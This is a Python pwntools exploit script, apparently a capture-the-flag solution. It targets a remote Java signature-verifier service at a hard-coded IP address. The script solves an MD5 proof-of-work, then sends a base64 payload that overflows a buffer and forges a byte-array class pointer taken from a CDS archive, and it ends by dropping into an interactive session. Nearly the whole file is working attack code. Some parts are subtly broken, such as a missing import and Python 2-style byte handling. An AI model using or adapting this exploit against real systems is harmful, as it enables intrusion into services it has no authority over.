from pwn import *
from Crypto.Cipher import AES
import base64
import hashlib

HASH_DIFFICULTY = 22
CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

def PoW(nonce, diff):
    while True:
        fail = False
        s = "".join(random.sample(CHARSET, 10))
        h = hashlib.md5()
        h.update((s + nonce).encode())
        md = h.digest()

        for i in range(HASH_DIFFICULTY):
            byte_idx = i // 8
            bit_idx = 7 - i % 8

            if ord(md[byte_idx]) & (1 << bit_idx):
                fail = True
                break

        if fail : continue
        else : return s

#context.log_level = "DEBUG"
IP = "211.117.60.124"
PORT = 12354

# by CDS_parser.py
B_ARR_KLASS = 0x3515b
RESULT_GENERATOR_KLASS = 0x401
KEYLOADER_KLASS = 0x6f4

#print(" ".join(["java", "-Xshare:on", "-XX:SharedArchiveFile=app-cds.jsa", "-Djava.library.path=./", "-jar", "SignVerifier.jar"]))
#p = process(["java", "-Xshare:on", "-XX:SharedArchiveFile=app-cds.jsa", "-Djava.library.path=./", "-jar", "SignVerifier.jar"])

p = remote(IP, PORT)

l = p.recvline()
nonce, diff = l.split()[11], int(l.split()[14])

p.sendline(PoW(nonce, diff))
p.recvline()

print(p.recvline())

payload1 = "a"*0x10
payload1 += p64(1)
payload1 += p32(B_ARR_KLASS)
payload1 += p32(0x200)

print(base64.b64encode(payload1))
p.sendline(base64.b64encode(payload1))
p.interactive()
